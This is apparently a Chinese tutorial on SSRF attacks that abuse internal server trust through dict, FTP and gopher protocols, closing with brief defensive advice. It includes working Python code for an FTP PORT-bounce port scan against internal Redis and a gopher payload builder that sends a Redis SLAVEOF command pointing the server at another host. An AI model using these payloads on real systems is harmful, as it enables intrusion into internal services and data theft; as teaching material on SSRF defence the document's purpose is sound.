
网络请求可以用http/https协议, 也可能可以用dict/ftp/gopher协议。由于其他服务器信任该内部服务器所以就相当 …引言从基础协议出发理解网络请求在网络编程的世界里HTTP 和 HTTPS 是最常见的协议但你是否知道网络请求还可以使用 dict、FTP 甚至 gopher 协议这些协议看似小众却在特定场景下扮演着关键角色。例如当一台内部服务器被其他服务器信任时攻击者可能利用这些非标准协议绕过安全限制实现意想不到的攻击路径。本文将从基础概念讲起逐步深入高级用法帮助你全面理解这些协议及其实战应用。## 基础概念网络请求的协议类型### HTTP/HTTPS 协议HTTPHyperText Transfer Protocol是 Web 的基础它基于请求-响应模型。HTTPS 则是在 HTTP 上添加了 SSL/TLS 加密层。大多数网络请求都使用这两种协议。### 非标准协议dict、FTP 和 gopher-dict 协议用于字典查询通常访问 DICT 服务器端口 2628。-FTP 协议文件传输协议用于上传/下载文件。-gopher 协议一种早期的互联网协议支持文本和文件传输现多用于 SSRF 攻击。这些协议之所以重要是因为它们可能被用于“协议转换”攻击——即攻击者通过一个支持多种协议的客户端如 cURL或服务器诱使内部服务器发起非预期的请求从而绕过安全边界。## 为什么内部服务器信任会带来风险当内部服务器被其他服务器信任时它们之间通常有更宽松的访问控制。例如一个 Web 应用服务器可能信任内部数据库服务器允许其直接访问而无需认证。攻击者如果能够控制某个内部端点如通过 SSRF 漏洞就可以利用这些协议向其他内部服务器发送恶意请求窃取数据或执行命令。## 实战案例使用 dict 协议进行内部扫描假设我们有一个内部服务器IP192.168.1.100它信任一个 Web 应用服务器IP192.168.1.200。攻击者利用 SSRF 漏洞向 Web 应用发送请求然后通过 dict 协议扫描内部数据库。### 代码示例 1使用 Python 发起 dict 协议请求pythonimport socketdef dict_request(host, port, command): 通过 dict 协议向服务器发送命令 参数 host: 目标主机 IP port: 目标端口默认 2628 command: 例如 DEFINE en hello 查询单词 try: # 创建 TCP 连接 sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) # 发送 dict 协议命令以 \r\n 结尾 request fCLIENT libcurl\r\n{command}\r\nQUIT\r\n sock.send(request.encode()) # 接收响应 response b while True: data sock.recv(1024) if not data: break response data sock.close() return response.decode() except Exception as e: return f错误: {e}# 使用示例查询单词 testresult dict_request(192.168.1.100, 2628, DEFINE en test)print(Dict 协议响应:, result)解释这个示例展示了如何用 Python 原始 socket 实现 dict 协议。在实际 SSRF 攻击中攻击者可能通过此协议向内部 Redis 或数据库发送恶意命令因为 dict 协议与 Redis 协议有相似之处。## FTP 协议文件传输与路径遍历FTP 协议不仅用于文件传输还可能被用于路径遍历攻击。例如攻击者可以利用 FTP 的PASV模式或PORT命令来扫描内部端口。### 代码示例 2通过 FTP 协议进行端口扫描pythonimport socketdef ftp_port_scan(target_ip, port_to_scan, ftp_port21): 通过 FTP 的 PORT 命令扫描内部端口 参数 target_ip: 目标 FTP 服务器 IP port_to_scan: 要扫描的端口号 ftp_port: FTP 服务端口默认 21 try: # 连接 FTP 控制端口 sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, ftp_port)) # 接收 FTP 欢迎信息 response sock.recv(1024).decode() print(FTP 欢迎信息:, response) # 登录匿名用户 sock.send(bUSER anonymous\r\n) response sock.recv(1024).decode() sock.send(bPASS guest\r\n) response sock.recv(1024).decode() print(登录响应:, response) # 构造 PORT 命令IP 地址和端口端口编码为两个字节 port_high port_to_scan // 256 port_low port_to_scan % 256 port_command fPORT 127,0,0,1,{port_high},{port_low}\r\n sock.send(port_command.encode()) response sock.recv(1024).decode() print(f扫描端口 {port_to_scan} 响应: {response}) # 尝试 LIST 命令触发数据连接 sock.send(bLIST\r\n) response sock.recv(1024).decode() print(LIST 响应:, response) sock.close() except Exception as e: print(f错误: {e})# 使用示例扫描内部服务器 192.168.1.100 的 6379 端口Redisftp_port_scan(192.168.1.100, 6379)解释这个示例利用了 FTP 的 PORT 命令来指定数据连接的目标地址和端口。如果 FTP 服务器配置不当它可以被用来向任意内部主机发起连接从而实现端口扫描。注意这里我们使用127.0.0.1作为目标实际攻击中会替换为内部服务器 IP。## Gopher 协议万能协议转换器Gopher 协议是最强大的非标准协议之一因为它可以发送任意字节流。攻击者通常用它来模拟 HTTP、FTP 或其他协议请求。例如向 Redis 发送SLAVEOF命令。### 高级用法利用 gopher 协议攻击 Redispythonimport urllib.parsedef build_gopher_payload(redis_command): 构建 gopher 协议 payload用于发送 Redis 命令 参数 redis_command: Redis 命令字符串如 SLAVEOF 192.168.1.200 6379 返回gopher URL 格式的字符串 # Redis 命令需要以 \r\n 结尾 payload redis_command \r\n # gopher 协议将数据编码在 URL 中使用 %0d%0a 表示 \r\n encoded urllib.parse.quote(payload, safe) # 构建 gopher URLgopher://目标IP:端口/_数据 gopher_url fgopher://192.168.1.100:6379/_{encoded} return gopher_url# 示例发送 Redis 命令设置主从复制payload build_gopher_payload(SLAVEOF 192.168.1.200 6379)print(Gopher payload:, payload)解释这个示例展示了如何构造 gopher URL 来向 Redis 发送命令。gopher 协议会将_后的部分作为原始数据发送到目标端口。通过这种方式攻击者可以绕过 HTTP-only 的安全限制直接与内部 Redis 通信。## 协议转换与内部信任滥用现在回到开篇的问题由于其他服务器信任该内部服务器攻击者可以通过这些非标准协议实现“协议转换”。例如1.SSRF 漏洞Web 应用允许用户输入 URL攻击者输入gopher://internal-redis:6379/_*来执行命令。2.信任链内部服务器之间没有严格的身份验证攻击者利用 dict 或 FTP 协议伪装成合法请求。3.绕过防火墙非标准协议往往不在白名单内可能被防火墙忽略。## 防御措施1.限制协议类型在应用层过滤不必要协议如禁用 cURL 的CURLOPT_PROTOCOLS。2.网络隔离内部服务器之间也应使用最小权限原则不信任任何非必要连接。3.输入验证严格验证用户提供的 URL拒绝非 HTTP/HTTPS 协议。## 总结从本文可以看出网络请求除了常见的 HTTP/HTTPS 外dict、FTP 和 gopher 协议在特定场景下同样强大。它们之所以能成为攻击利器根源在于内部服务器之间的过度信任。作为开发者我们需要理解这些协议的工作原理并在系统设计中防范协议滥用。通过基础概念学习和实战代码演练你可以更全面地掌握网络安全的核心要点从而构建更健壮的应用系统。记住信任是安全的最大敌人即使是内部网络也需保持警惕。